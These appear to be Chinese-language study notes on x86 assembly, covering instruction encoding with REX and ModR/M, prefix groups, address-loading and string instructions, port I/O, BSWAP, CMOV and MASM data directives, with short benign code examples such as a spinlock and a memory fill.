- First byte (4DH): 0100 1101 → 0100是REX固定前缀,W=1,R=1,X=0,B=1,表示64位模式,Reg扩展和Base扩展开启
- Second byte (89H): 100010 01 → D = 0 MOD-REG-R/M字段中,REG存放R15,R/M存放R10
- Third byte (FAH): 11 111 010 → R15, R10,MOD字段为11,代表R/M字段此时存放寄存器,REG字段为111,再拼上REX.R=1111,代表R15,R/M拼上REX.B=1111,代表R10
编码为 4F8B149F H
-
First byte (4FH): 0100 1111 → 0100是REX固定前缀,W=1,R=1,X=1,B=1,表示64位模式,Reg,Index,Base扩展全部开启
-
Second byte (8BH): 100010 11 → D = 1,代表数据从R/M流向REG,所以REG字段存放R10,R/M字段存放[R15+4*R11]
-
Third byte (14H): 00 010 100 → 00 代表无Displacement的内存寻址,010 拼上扩展的REX.R变成1010,代表R10,R/M=100代表Scaled-index寻址
-
Fourth byte (9FH): 10 011 111 → SS=10,表示4倍缩放,Index=011 拼上扩展的REX.X变成1011,代表R11作为index,Base=111拼上扩展的REX.B变成1111,代表R15作为base
Prefixes¶
指令前缀分为四组,对于每条指令,每一组中最多只能使用一个前缀。
| 组别 (Group) | 类别描述 | 十六进制码 (Hex) | 助记符/描述 (Mnemonic/Description) |
|---|---|---|---|
| Group 1 | 锁与重复前缀 | 0xF0 |
LOCK (总线锁) |
0xF2 |
REPNE / REPNZ (不相等/非零时重复) | ||
0xF3 |
REP or REPE / REPZ (重复 或 相等/为零时重复) | ||
| Group 2 | 段覆盖前缀 (Segment override) | 0x2E |
CS segment override (代码段覆盖) |
0x36 |
SS segment override (堆栈段覆盖) | ||
0x3E |
DS segment override (数据段覆盖) | ||
0x26 |
ES segment override (附加段覆盖) | ||
0x64 |
FS segment override (FS段覆盖) | ||
0x65 |
GS segment override (GS段覆盖) | ||
0x2E |
CS segment override (代码段覆盖) | ||
| Group 3 | 操作数大小覆盖 | 0x66 |
Operand-size override prefix (操作数宽度翻转,如 16位↔32位) |
| Group 4 | 地址大小覆盖 | 0x67 |
Address-size override prefix (地址宽度翻转,如 16位↔32位) |
Lock Prefix - Group1¶
LOCK 前缀用于使某些对内存的“读-改-写”指令以原子方式执行操作。
- 该前缀的目的是在多处理器系统中,使处理器可以独占对共享内存的使用。
- LOCK 前缀只能用于以下对内存操作数进行写操作的指令:BTC、BTR、BTS、ADC、ADD、AND、DEC、INC、NEG、NOT、OR、SBB、SUB、XOR、CMPXCHG、CMPXCHG8B、CMPXCHG16B、XADD 和 XCHG。
- 如果 LOCK 前缀被用于其他指令,则会产生未定义操作码异常(#UD)。
Segment Override Prefix - Group2¶
处理器会根据以下规则自动选择默认段寄存器:
- 指令取指:CS
- 局部数据:DS
- 堆栈:SS
- 字符串操作的目的操作数:ES
程序员可以通过段重写前缀(segment-override prefix)来覆盖默认段寄存器,该前缀是加在指令前的一个字节。
例如,在32位模式下:
Operand-size Override Prefix - Group3¶
在64位模式下,指令默认操作数大小为32位。 通过前缀允许同时使用16位、32位和64位数据:
- REX (REX.W) 前缀可指定操作数为64位
- 66H 前缀可指定操作数为16位
- 若同时存在,REX前缀优先级高于66H前缀
How can instructions share an opcode?
默认的操作数大小由当前的操作模式决定,但操作数大小覆盖前缀(REX 或 66H)可以改变默认的操作数大小。例如,在64位模式下(默认操作数大小为32位):
Summary
- 操作码中的 W 位用于区分 8 位操作数和“非 8 位”操作数(即,默认操作数大小)。
- 操作数大小前缀(66H)可在 16 位和 32 位操作数大小之间切换。
- 在 64 位模式下,REX.W 位可在 32 位和 64 位操作数大小之间切换。
以下流程图说明了在64位模式下,判断操作数大小的过程:
graph TD
Start("开始: 确定操作数大小") --> Step1{"1. 检查 Opcode W-bit"}
%% 第一层级: Opcode W-bit
Step1 -- "W=0 (8-bit)" --> Res8["结果: 8-bit 操作数"]
Step1 -- "W=1 (Full-size)" --> Step2{"2. 检查 REX.W 位<br/>(仅限 64位模式)"}
%% 第二层级: REX.W
Step2 -- "W=1" --> Res64["结果: 64-bit 操作数"]
Step2 -- "W=0 (或无 REX)" --> Step3{"3. 检查 0x66 前缀"}
%% 第三层级: 0x66 Prefix
Step3 -- "存在 (Yes)" --> Res16["结果: 16-bit 操作数"]
Step3 -- "不存在 (No)" --> Res32["结果: 32-bit 操作数<br/>(默认缺省值)"]
%% 样式定义
style Start fill:#f9f,stroke:#333,stroke-width:2px
style Res8 fill:#ff9,stroke:#333
style Res64 fill:#f96,stroke:#333
style Res16 fill:#9cf,stroke:#333
style Res32 fill:#cfc,stroke:#333
Address-size Override Prefix - Group4¶
在 64 位模式下,默认的地址大小是 64 位。虽然可以通过前缀将地址大小覆盖为 32 位,但不支持 16 位地址。 地址大小覆盖前缀(67H)用于选择非默认的地址大小。
How to change the address size?
内存操作数的默认地址大小由当前的操作模式决定,但可以通过地址大小覆盖前缀(67H)进 例如:
- 在 64 位模式下,地址默认是 64 位,但可以通过地址大小前缀将其切换为 32 位。
- 在 32 位模式下,地址默认是 32 位,但可以通过地址大小前缀将其切换为 16 位。
Example
Problem: In 32-bit operation mode, which prefix (or prefixes) will be applied to the instruction: MOV AL, [BX] ?
- A. Operand-size prefix only
- B. Address-size prefix only
- C. Both operand-size and address-size prefixes
- D. None
Answer: B
解释:在 32 位操作模式下,默认的地址大小是 32 位。可以使用地址大小覆盖前缀(67H)将地址大小更改为 16 位。而可以直接用W=0来将操作数大小更改为 8 位,由Opcode决定。
Warning
对于各种前缀的顺序,传统前缀之间 (如 66H 和 67H)没有顺序要求,谁先谁后都可以。因为在机器码层面,CPU 的指令解码器(Decoder)能够识别出 0x66 和 0x67 都是传统前缀(Legacy Prefixes)。只要它们属于不同的“组”(Group),就可以共存,且顺序互换完全不影响指令执行。
但是,当涉及 REX 前缀时,顺序就很重要了。REX 前缀必须排在所有传统前缀之后,紧挨着 Opcode。
LOAD EFFECTIVE ADDRESS¶
Load-effective address 指令集旨在支持高级语言(如 C)。主要有两类 load-effective address 指令:
- LEA:加载有效地址(offset)。
- LDS、LES、LFS、LGS 和 LSS:加载远指针(segment selector and offset)。
LEA¶
将 16 位或 32 位寄存器加载为操作数指定数据的偏移地址。
- 通过对比 LEA 和 MOV,可以发现:
- LEA BX,[DI] 会将 [DI](即 DI 的内容)指定的偏移地址加载到 BX 寄存器中;
- MOV BX,[DI] 则会将 [DI] 所指定内存地址中的数据加载到 BX 寄存器中。
- SEG 和 OFFSET 伪指令分别返回某一内存位置的段地址和偏移地址。
如果操作数是位移量(displacement),OFFSET 伪指令的作用与 LEA 指令相同。
将 SI 加载为 DATA1 的地址,将 DI 加载为 DATA2 的地址。然后交换这两个内存位置中的内容。
OFFSET 比 LEA 指令更高效
- 在 80486 微处理器中,MOV BX,OFFSET LIST 只需一个时钟周期, 而 LEA BX,LIST 需要两个时钟周期
- MOV BX,OFFSET LIST 实际上会被汇编为立即数传送指令(如 MOV BX, 0x9),因此更高效。
如果 OFFSET 能完成同样的功能,为什么还需要 LEA 指令?
- OFFSET 只能用于简单操作数(如 LIST),不能用于类似 [DI]、LIST [SI] 这样的操作数。 例如,LEA BX, [DI] 相当于 MOV BX, DI
- LEA SI, [BX+DI]:该指令将 BX 和 DI 相加,并将结果存入 SI 寄存器中。该结果是一个模 64K 的和。
LDS, LES, LFS, LGS, and LSS¶
LEA 指令将任意 16 位寄存器加载为偏移地址,偏移地址由所选定的寻址方式决定。
LDS 和 LES 指令用于从内存中加载远地址
- 从内存中获取偏移地址,并加载到 16 位或 32 位寄存器中;
- 随后再从内存中获取段地址或段选择子,分别加载到 DS 或 ES 中。
当 DS=1000H 且 DI=1000H 时,LDS BX,[DI] 指令会从地址 11000H 和 11001H 加载数据到 BX 寄存器,并从地址 11002H 和 11003H 加载数据到 DS 寄存器。上图展示了该指令在 DS 即将变为 3000H、BX 即将变为 127AH 之前的状态。
Warning
注意,LEA加载地址时不会访问内存,而LDS会访问内存,将偏移量从内存读出加载到目的寄存器,将段选择子从内存读出加载到段寄存器。
指令可以使用任何内存寻址方式访问包含段地址和偏移地址的 32 位或 48 位内存区域。
- 32 位远指针:16 位段地址 + 16 位偏移地址
- 48 位远指针:16 位选择子 + 32 位偏移地址
在 80386 及以上处理器中,LFS、LGS 和 LSS 指令被加入指令集。这些指令可以将任何 16 位或 32 位通用寄存器加载为偏移地址,同时将 DS、ES、FS、GS 或 SS 段寄存器加载为段地址或段选择子。
LDS、LES、LFS、LGS 和 LSS 指令从内存中获取一个新的远地址。
- 首先是偏移地址,然后是段地址或段选择子。
汇编程序可以将远地址存储在内存中。在这些加载指令中,最有用的是 LSS 指令。以下程序展示了如何利用 LSS 指令同时加载 SS 和 SP,从而重新激活旧的堆栈区。
CLI ; 禁止中断,避免切换堆栈过程中被中断打断
MOV AX , SP ; 备份当前堆栈指针(SP)到AX
MOV WORD PTR SADDR , AX ; 将当前SP值存储到内存SADDR处
MOV AX , SS ; 备份当前堆栈段(SS)到AX
MOV WORD PTR SADDR+2 , AX ; 将当前SS值存储到SADDR+2处(即SADDR: 低2字节保存SP,高2字节保存SS)
MOV AX,DS ; 取得数据段寄存器DS的值
MOV SS,AX ; 用DS的值设置SS,这样可以切换到以DS为段的堆栈(注意,此处DS与SS暂时相同)
MOV AX,OFFSET STOP ; 取得标号STOP的偏移,准备设置SP
MOV SP,AX ; SP设置为STOP的偏移地址,堆栈移动到新位置
STI ; 允许中断
... ; 其他操作
MOV AX,AX ; 占位(无实际作用)
MOV AX,AX ; 同上
LSS SP,SADDR ; 一条指令同时恢复原来的SS和SP,SADDR保存了原SS和SP的值,实现堆栈区的恢复
CLI(清除中断标志,禁止中断)和 STI(设置中断标志,允许中断)指令必须包含在内,以实现在切换堆栈时关闭中断的功能。
STRING DATA TRANSFERS¶
五种字符串数据传送指令:
- LODS, STOS, MOVS, INS, OUTS
两种字符串比较指令:
- SCAS, CMPS
每条指令的前2-3个字母都体现了该指令的操作含义。其中所有指令中的“S”代表“String”(字符串)。
每条指令都可以实现以字节、字(word)或双字(doubleword)为单位的数据传送或比较操作,并且隐式地使用 DI、SI 或二者寄存器来进行内存寻址。字符串指令执行效率高,因为它们能够自动重复并且自动修改数组下标(指针)。
string comparison
这条简短的指令涉及到很多细节,首先REPE是重复前缀,repeat when equal,同时使用了EDI和ESI作为源寄存器和目的寄存器,还有DF标志位来控制方向,ECX 寄存器来设置比较次数,以及zero flag来控制是否继续比较。
DI and SI¶
- DI/EDI 通常与附加段 ES 一起使用,且段寄存器不可更改,字符串指令的目的操作数必须使用ES段,不可更改
- SI/ESI 通常与数据段 DS 一起使用,且段寄存器可更改,虽然SI默认使用DS段,但可通过段超越前缀显式指定其他段寄存器(如CS、ES、FS等):
在 32 位模式下,EDI 和 ESI 寄存器取代了 DI 和 SI 的作用,这使得字符串操作可以访问整个 4GB 受保护模式下的所有内存空间。
The Direction Flag, DF¶
- DF=0,自动递增指针
- DF=1,自动递减指针
方向标志位(D 位,位于标志寄存器中)用于选择在字符串操作中 DI 和 SI 寄存器是自动递增还是自动递减。
- 该标志仅被字符串指令使用。
- CLD 指令用于清除 D 标志位(DF=0),STD 指令用于设置 D 标志位(DF=1)。
- 执行 CLD 指令时,选择自动递增模式;
- 执行 STD 指令时,选择自动递减模式。
REP prefix¶
一条字符串基本指令只能处理一个内存值或一对内存值。如果添加重复前缀(REP),指令会重复执行,使用 CX 或 ECX 作为计数器。
- 重复前缀允许通过一条指令处理整个数组。
- 通常使用以下几种重复前缀:
| 前缀 | 含义 |
|---|---|
| REP | 当 ECX > 0 时重复执行指令 |
| REPZ, REPE | 当零标志(ZF)为1 且 ECX > 0 时重复执行指令 |
| REPNZ, REPNE | 当零标志(ZF)为0 且 ECX > 0 时重复执行指令 |
- REP:仅依赖于计数器 ECX,常用于无条件重复。
- REPZ/REPE(Repeat while Equal):通常配合 CMPS/SCAS,表示前一次结果为相等时继续,ZF=1。
- REPNZ/REPNE(Repeat while Not Equal):通常配合 CMPS/SCAS,表示前一次结果不等时继续,ZF=0。
copy a string
在下面的例子中,MOVSB 指令将 10 个字节从 string1 拷贝到 string2。 当重复执行 MOVSB 指令时,ESI 和 EDI 会被自动递增。这个行为由方向标志(Direction Flag, DF)控制。
cld ; clear direction flag(方向标志为0,自动递增)
mov esi, OFFSET string1 ; ESI 指向源字符串
mov edi, OFFSET string2 ; EDI 指向目标字符串
mov ecx, 10 ; 计数器设置为10
rep movsb ; 连续移动10个字节
Suffix¶
- B:字节(byte)
- W:字(word)
- D:双字(doubleword)
- 例如:
- MOVSB,按字节进行的 MOVS 操作
- LODSW,按字进行的 LODS 操作
LODS¶
这是唯一一条不需要REP前缀的字符串指令
LODS 使用隐含操作数(AL、AX、EAX),这些寄存器不会在指令或操作码中显式地提及。
- LODS 指令将字节、字或双字从源地址(DS:SI 或 ESI)传送到 AL、AX 或 EAX。
- 指令后缀表示操作的数据大小:
- LODSB:SI/ESI 增减 ±1
- LODSW:SI/ESI 增减 ±2
- LODSD:SI/ESI 增减 ±4
如果 DS=1000H,SI=1000H,方向标志 D=0 时,LODSW 指令的操作过程如下:此时 AX 已经从内存中装载了数据,但 SI 尚未自增 2。
STOS¶
STOSB、STOSW 和 STOSD 分别将 AL、AX 或 EAX 的值存储到目的地址 ES:DI(或 EDI)中。
- STOSB:对 ES:DI/EDI 增加或减少 ±1
- STOSW:对 ES:DI/EDI 增加或减少 ±2
- STOSD:对 ES:DI/EDI 增加或减少 ±4
STOS 使用隐含操作数(AL、AX、EAX),这些寄存器在指令参数或操作码中不会被显式写出。
除了 LODS 之外,任何字符串数据传送指令都可以加上 REP 前缀,以避免寄存器中的数据被改写。
- 如果 CX 的值减到 0,指令就会结束,程序继续执行后续内容。
- 如果将 CX 设为 100 并执行 REP STOSB 指令,微处理器会自动重复执行 STOSB 100 次。
REP 前缀与 STOS 连用时,可以让 STOS 指令非常方便地将某个值批量填充到字符串或数组中的所有元素。
- 例如,下面的代码可以把 string1 中的每个字节都赋值为 0FFh。
.DATA
Count = 100
string1 BYTE Count DUP(?)
.CODE
mov al, 0FFh ; 要存储的值
mov edi, OFFSET string1 ; 目标地址(ES:DI/EDI)
mov ecx, Count ; 字符数量
cld ; 方向标志 = 正向
rep stosb ; 用 AL 填充整个 string1
MOVS¶
- MOVS 指令用于将一个字节、字或双字从 DS:SI 传送到 ES:DI,并根据数据大小自动更新 SI 和 DI 的值。
- 后缀(B、W 或 D)指示操作数据的位宽:
- MOVSB:DS:SI 和 ES:DI 都增加或减少 ±1
- MOVSW:DS:SI 和 ES:DI 都增加或减少 ±2
- MOVSD:DS:SI 和 ES:DI 都增加或减少 ±4
- MOVS 常用于在内存之间批量传输数据块。
8086 到 Pentium 4 微处理器中,MOVS 是唯一允许内存对内存直接传送的指令。
transferring two blocks of doubleword memory
INS¶
将一个字节、字或双字的数据从 I/O 设备传送到额外段(ES)所指定的内存位置中。INS 指令使用 DX 或 EDX 作为源操作数用于指定 I/O 地址或端口。目的操作数是 ES:DI 或 ES:EDI 所指向的内存位置。
- 适用于将外部 I/O 设备的数据块直接输入到内存中。
-
一个典型应用就是将数据从磁盘驱动器转移到内存。
- 在计算机系统中,磁盘驱动器通常被视为 I/O 设备进行接口连接。
-
INS 指令有两种形式:显式操作数和无操作数形式。
- 显式操作数形式允许明确指定源和目的操作数,例如 INS WORD PTR [DI], DX。
- 源操作数必须是 DX,目标操作数应为 ES:DI 或 ES:EDI。
- 无操作数形式则为字节、字和双字版本提供简写方式。
- 无操作数形式有三种基本指令:
- INSB:从 8 位 I/O 设备输入数据,并存储到由 DI 索引的内存。
- INSW:输入 16 位 I/O 数据,存储到字大小的内存位置。
- INSD:输入 32 位 I/O 数据,存储到双字大小的内存。
- 这些指令可以通过 REP 前缀重复执行,这样就可以将整个数据块从 I/O 设备输入到内存中。
该指令序列从 I/O 端口 03ACH 的设备输入 50 个字节的数据,并将这些数据存储到附加段(ES)中的内存数组 LISTS。
这里设置DF=0,用来设置读了一个之后DI是增还是减。
OUTS¶
从数据段内存地址到 I/O 设备中。
- 源操作数是由 DS:SI 或 DS:ESI 指定的内存地址。
- 目标操作数(I/O 地址或 I/O 端口)与 INS 指令一样,包含在 DX 寄存器中。
- 在 Pentium 4 和 Core2 的 64 位模式下,不支持 64 位输出,但 RSI 中的地址宽度为 64 位。
OUTS 指令同样允许两种形式:显式操作数形式和无操作数形式。
- 显式操作数形式,允许明确指定源和目的操作数,例如 OUTS DX, WORD PTR [SI]。
-
源操作数应该为 DS:SI 或 DS:ESI,目标操作数是 DX。
-
无操作数形式提供了 OUTS 指令的字节、字和双字的简写形式。
- OUTSB 指令将 SI 索引的一个字节大小的内存数据输出到 8 位 I/O 设备。
- OUTSW 指令输出一个字(16 位)的内存数据到 16 位 I/O 设备。
- OUTSD 指令输出一个双字(32 位)的内存数据到 32 位 I/O 设备。
该指令序列演示了一段简短的指令流程,将数据段内存数组(ARRAY)中的数据传送到 I/O 地址为 3ACH 的 I/O 设备。
MISCELLANEOUS DATA TRANSFER INSTRUCTIONS¶
在程序中使用的数据传送指令,包含:XCHG、LAHF、SAHF、XLAT、IN、OUT、BSWAP、MOVSX、MOVZX 和 CMO。
XCHG¶
exchange
交换寄存器与另一个寄存器或内存单元的内容。
- 不能交换段寄存器,也不能进行内存到内存的数据交换。
- 这是一种少见的具有两个输出的指令。
- 可交换字节、字或双字,并且可以使用除立即寻址以外的所有寻址方式。
- 使用16位AX寄存器与另一个16位寄存器进行交换时,XCHG指令最高效,该指令只占用1字节的存储空间。
当使用内存寻址方式和汇编器时,哪个操作数是内存操作数并不重要。例如,XCHG AL,[DI] 与 XCHG [DI],AL 是等效的。XCHG 指令常用于实现进程同步中的信号量。(相当于操作系统中提到的swap)
acquire the spinlock
; acquire the spinlock
; lock variable. 1 = locked, 0 = unlocked.
locked dd 0
; Set the EAX register to 1.
spin_lock:
mov eax, 1
; Atomically swap the EAX with the lock.
lock xchg eax, [locked]
; Test EAX with itself.
test eax, eax
; If EAX is 0, we just obtain and lock it.
; Otherwise, repeatedly request the lock.
jnz spin_lock
ret
; release the spinlock
; Set the EAX register to 0.
spin_unlock:
mov eax, 0
; Atomically swap the EAX register with the lock variable.
lock xchg eax, [locked]
ret
获取锁的时候,如果交换之后EAX还是1,说明别的进程已经把【locked】置为1了,获取锁失败
LAHF and SAHF¶
LAHF指令将EFLAGS寄存器的低8位传送到AH寄存器。 - AH := EFLAGS (SF:ZF:0:AF:0:PF:1:CF) - 即将符号标志(SF)、零标志(ZF)、辅助进位标志(AF)、奇偶标志(PF)和进位标志(CF)保存到AH寄存器对应位中。 - EFLAGS的保留位1、3、5会分别被设置为1、0、0
如果CPUID.80000001H:ECX寄存器的LAHF_SAHF(第0位)为1,则LAHF指令可在64位模式下使用。
SAHF指令会把AH寄存器中对应位(位7、6、4、2、0)的值,传送到EFLAGS寄存器的SF、ZF、AF、PF和CF标志位中。
- SAHF指令会忽略AH的1、3、5位,并且在EFLAGS寄存器中将这三个位置为1、0、0。
如果CPUID.80000001H:ECX寄存器的LAHF_SAHF(第0位)为1,则SAHF指令可在64位模式下使用。
XLAT¶
XLAT(表查找转换)指令使用隐式操作数(AL 和 BX):
- 将 AL 寄存器中的无符号整数作为偏移量,加到 BX 指定的表地址上,并把该位置上的内容([BX+AL])复制到 AL 寄存器中。
- XLAT 的效果类似于 MOV AL, [seg:BX + AL]。
- 其中 seg:[BX] 是表的基地址,默认段寄存器为 DS,也可以使用段前缀修改。
- 注意,[seg:BX + AL] 这种内存操作数在其他指令中并不合法,只有 XLAT 指令才可以使用。
XLAT 常用来实现数据的格式转换。例如,将菜单中食品的索引号转换为对应价格:
- 首先,为存放价格的表预留 256 字节空间;
- 然后,将该表的地址加载到 DS:BX 中,把食品的索引号放入 AL;
- 接着,XLAT 会根据索引,把对应的价格查出来存入 AL。
XLAT 会写入 AL,但不会改变 EAX[31:8] 这部分内容。
假设7段数码管显示的数据查找表存储在内存地址TABLE处,XLAT指令可以利用该查找表,将AL中的BCD数字转换为对应的7段显示编码,并存回AL中。
TABLE = 1000H,DS = 1000H,且 AL 的初值为 05H(BCD),则上述示例程序的运行过程如下:经过查表转换后,AL 变为 6DH。
Input and Output Ports¶
诸如屏幕、显示器、键盘、鼠标、硬盘和网络等外部设备,通过输入端口和输出端口与数据总线相连。 每个输入或输出端口都具有唯一的地址,这类似于内存中的每个字节单元都有唯一的地址。
一个输出端口包含一个比较器,用于将固定地址与地址总线上的值进行比较。当地址与端口地址相等且控制总线上有写信号时,锁存器会从数据总线存储该值。
外部设备的每个输入信号都通过三态缓冲器送到数据总线。当地址总线上的地址与输入端口的固定地址相等,并且控制总线有读信号时,三态缓冲器被使能。
IN & OUT¶
IN 和 OUT 指令用于执行输入/输出(I/O)操作。
- AL、AX 或 EAX 寄存器的内容,仅在 I/O 设备与微处理器之间传递。
- IN 指令将外部 I/O 设备的数据读入 AL、AX 或 EAX,例如 IN AL, 19H
- OUT 指令将 AL、AX 或 EAX 的数据输出到外部 I/O 设备,例如 OUT 32H, AX
- 只有 80386 及以上处理器包含 EAX 寄存器
指令通常存储在 ROM(只读存储器)中。
- 存储在 ROM 中的定端口(fixed-port)指令,由于 ROM 的只读属性,其端口号是永久固定的
- 存储在 RAM 中的定端口地址可以被更改,但这种做法并不符合良好的编程习惯。I/O 操作期间,端口地址会出现在地址总线上。
I/O 端口寻址有两种形式:
- 固定端口寻址(fixed-port addressing):允许使用 8 位 I/O 端口地址(如 IN AL, 12H 或 OUT 25H, AX)在 AL、AX 或 EAX 和端口之间传输数据
-
端口号是紧跟在指令操作码后的一个字节立即数(00h 到 FFh)
-
可变端口寻址(variable-port addressing):允许在 AL、AX 或 EAX 与 16 位端口地址之间传递数据(如 IN AL, DX 或 OUT DX, AX)
- I/O 端口号存储在 DX 寄存器中(0000h 到 FFFFh),并且可在程序执行过程中动态改变
该图展示了指令 OUT 19H,AX 的执行过程,即将 AX 的内容输出到 I/O 端口 19H。OUT 指令中使用的源寄存器决定了端口的数据宽度
Example
下面的例子展示了一个让电脑扬声器发出“咔哒”声的程序。 - 在 DOS 下,扬声器通过访问 I/O 端口 61H 控制。如果该端口的最低两位被设置为 1(11),然后再清零为 0(00),扬声器就会发出咔哒声。
MOVSX and MOVZX¶
MOVZX(移动并零扩展)和 MOVSX(移动并符号扩展)指令出现在 80386 到 Pentium 4 的指令集中。例如:
- 如果将一个 8 位的 8FH 进行零扩展为 16 位数据,则得到 008FH。
- 如果将一个 8 位的 8FH 进行符号扩展为 16 位数据,则得到 FF8FH。
BSWAP¶
BSWAP(字节交换)指令用于反转32位或64位寄存器操作数中的字节顺序。
- BSWAP指令常用于在大端和小端格式之间转换数据。
- 它将任意32位寄存器中的第1个字节与第4个字节交换,第2个字节与第3个字节交换。
- 例如,BSWAP EAX 指令在 EAX=12345678H 时,交换后 EAX=78563412H。
不使用 BSWAP 的正确字节交换方法是:
在64位操作(处理一个四字节数据)时,位7:0与位63:56交换,位15:8与位55:48交换,位23:16与位47:40交换,位31:24与位39:32交换。在64位模式下,该指令的默认操作数大小为32位。通过使用REX前缀,可以访问更多寄存器(R8-R15)。
| Instruction | OPcode | Description |
|---|---|---|
| BSWAP reg32 | 0F C8 + rd | Reverses the byte order of a 32-bit register |
| BSWAP reg64 | REX.W + 0F C8 + rd | Reverses the byte order of a 64-bit register |
在“Opcode”列中,+rd 表示操作码字节的低三位用于编码寄存器操作数,而无需使用 modR/M 字节,
Opcode(操作码):0F C8 是基础操作码。
寄存器 ID (0-7):RAX=0, RCX=1, RDX=2, RBX=3, RSP=4, RBP=5, RSI=6, RDI=7。
+rd 的含义:这是一种特殊的编码方式。通常 x86 指令需要一个额外的字节(ModR/M)来指定操作数寄存器,但为了节省空间,某些指令允许将寄存器的 ID 直接加到操作码的最后一个字节上。这里真的是加法。
对16位寄存器使用BSWAP指令的结果是未定义的。
- 若要交换16位寄存器的两个字节,应使用XCHG指令。
- 例如,要交换AX寄存器的高低字节,可使用XCHG AL, AH。
CMOV¶
每个 CMOVcc 指令在 EFLAGS 寄存器(CF、OF、PF、SF 和 ZF)中的标志位处于特定状态(或条件)时才执行数据移动操作。
- 每条指令都带有一个条件码(cc),用于指示要检测的条件。
- 只有在条件为真时,才进行数据移动。
- 如果条件不满足,则不进行移动,程序继续执行 CMOVcc 指令后的下一条指令。
- 例如,CMOVZ 指令只在前一条指令的结果为零时才移动数据。
- 目的操作数只能是16位、32位或64位的寄存器,但源操作数可以是16位、32位或64位的寄存器或内存位置。
- 由于这是新引入的指令,若要在汇编器中使用它,必须在程序中添加 .686 开关。
CMOV 指令的目的是避免使用分支指令。 当 CPU 遇到分支(例如 JNE)时,会预测分支是否会被执行,并基于该预测开始推测性地执行后续指令。
如果预测错误,会产生性能损失,因为CPU需要丢弃所有已推测执行的工作,然后重新获取并执行正确的路径。
对于条件赋值指令(如 CMOVE eax, edx),CPU 无需猜测将执行哪段代码,因此可以避免因分支预测失败带来的代价。
假设需要根据 condition,决定变量 a 是被赋值为 b 还是 c,可用传统的分支实现,也可用无分支的 CMOV 指令:
cmp condition, 0
jz else ; 若condition为0,跳转到else
mov a, b ; if 部分,a = b
jmp endif
else: mov a, c ; else 部分,a = c
endif:
cmovnz 表示“zero flag 不为零,则赋值”。其它条件可参考CMOV家族(如cmovz、cmovg等)。
此外,CMOVcc 指令能够将控制依赖转化为数据依赖,并将多条路径上的指令合并到同一个基本块中。这使得基本块包含了更多指令,从而扩展了指令调度的空间。
SEGMENT OVERRIDE PREFIX¶
几乎可以添加到任何寻址模式下的指令中。
- 允许程序员偏离默认的段进行访问。
- 唯一不能加前缀的指令是使用代码段寄存器进行地址生成的跳转和调用指令。(
JMP label和CALL label) - 通过在指令开头添加一个额外的字节,来选择备用段寄存器。
Directives Vs Instructions¶
ASSEMBLER DETAIL
汇编器有两种使用方式:
- 一种是使用特定汇编器独有的“模型”
- 另一种是使用完整的段定义,这允许对汇编过程进行全面控制,并且对所有汇编器都是通用的
汇编语言语句分为两类:伪指令(directives)和指令(instructions)。
- 伪指令:告诉汇编器如何工作,比如生成机器码、分配存储空间等。只在汇编时起作用,本身不会生成任何机器代码。
- 指令:告诉CPU要做什么,会被汇编为机器码,并最终链接到可执行文件中。在程序运行时由CPU执行。
Directives in MASM¶
指示汇编器如何处理操作数或程序的某一部分。有些伪指令会在内存中生成并存储信息,而有些则不会。
例如:
- BYTE PTR 用于指明指针或变址寄存器所引用的数据大小。
- DB(定义字节)指令用于在内存中存储字节数据。
| 英文分类 (Category) | 中文分类 | 指令/关键字 | 简要说明 |
|---|---|---|---|
| Data Allocation | 数据定义/分配 | DB, DW, DD, DQ, DT | 分配并初始化内存数据 • DB: 8 位字节• DW: 16 位字• DD: 32 位双字• DQ: 64 位四字• DT: 80 位十字节 |
| Structure | 结构体定义 | STRUCT, RECORD | 定义复杂数据结构 • STRUCT: 类似 C 语言 struct• RECORD: 定义位域(bit fields) |
| Code Labels | 地址/标签控制 | ALIGN, ORG | 控制内存对齐和偏移地址 • ALIGN: 内存对齐(如 4 字节)• ORG: 设置当前偏移地址 |
| Segment | 标准段定义 | SEGMENT, ENDS, ASSUME | 完整段定义方式 • SEGMENT/ENDS: 段开始与结束• ASSUME: 关联段寄存器 |
| Simplified Segment | 简化段定义 | .CODE, .DATA, .STACK, .MODEL, .EXIT | 简化段定义方式 • .MODEL: 内存模型• .CODE/.DATA: 快速定义段• .EXIT: 程序退出 |
| Procedures | 过程(函数) | PROC, ENDP | 子程序定义 • PROC: 过程开始• ENDP: 过程结束 |
| Macros | 宏 | MACRO, ENDM | 宏定义与结束 • MACRO: 宏定义开始• ENDM: 宏定义结束 |
| Miscellaneous | 杂项/其他 | EQU, INCLUDE | 杂项辅助指令 • EQU: 符号常量• INCLUDE: 包含其他源文件 |
| Processor | 处理器指令集 | .386, .486, .586 | 指定可用 CPU 指令集 如 .386 允许 32 位寄存器(EAX) |
Storing Data in Memory¶
DB(Define Byte)、DW(Define Word)、DD(Define Doubleword)是 MASM 中最常用来定义和存储内存数据的指令。
- 如果系统中有数值协处理器,DQ(Define Quadword)和 DT(Define Ten Bytes)指令也很常见。
- 这些指令会为内存位置分配一个符号名称,并指明其大小。
- DUP 指令可用于将多个初始值设置为同一个值。例如:DB 100 DUP(6) 会分配 100 个字节,每个字节的值均为 6。
- 使用 “?” 作为 DB、DW 或 DD 指令的操作数时,会保留内存空间但不对其进行初始化,汇编器仅为其分配位置,不赋具体值。
- ALIGN 指令用于将下一个数据元素或指令对齐到其参数(必须是 2 的幂,如 1、2、4、8,且不大于段对齐值)的整数倍地址上。
下面是 MASM 中常见的数据定义及对齐示例:
LIST_SEG SEGMENT
DATA1 DB 1,2,3 ; 定义字节
DB 45H ; 十六进制字节
DATA3 DD 300H ; 定义双字(十六进制数)
DD 2.123 ; 实数
DD 3.34E+12 ; 科学计数法实数
LISTA DB ? ; 只保留 1 字节,未初始化
LISTB DB 10 DUP(?) ; 保留 10 字节,未初始化
ALIGN 2 ; 设置字(word)对齐
LISTC DW 100H DUP(0) ; 保留 100H(256)个字,初始化为 0
LISTD DD 22 DUP(?) ; 保留 22 个双字,未初始化
LIST_SEG ENDS
将字(word)大小的数据放在字边界上、双字(doubleword)大小的数据放在双字边界上是非常重要的。否则,微处理器在访问这些数据类型时会花费额外的时间。
Question
Please determine the value in the register AX after the instruction is executed.
.data
DB 33H, 34H, 0AH, 06H
DW 1B7CH, 674CH, 07H, '12', '1'
.code
mov ax, @data
mov ds, ax
xor si, si
首先,@data 是一个符号,表示数据段的起始地址。
mov ax, @data 将数据段的起始地址存储到 AX 寄存器中。然后将其设置位数据段的值,接下来xor si, si 将 SI 寄存器清零。
此时数据段的布局和其存放的值是这样的,详细的解释请参考这里
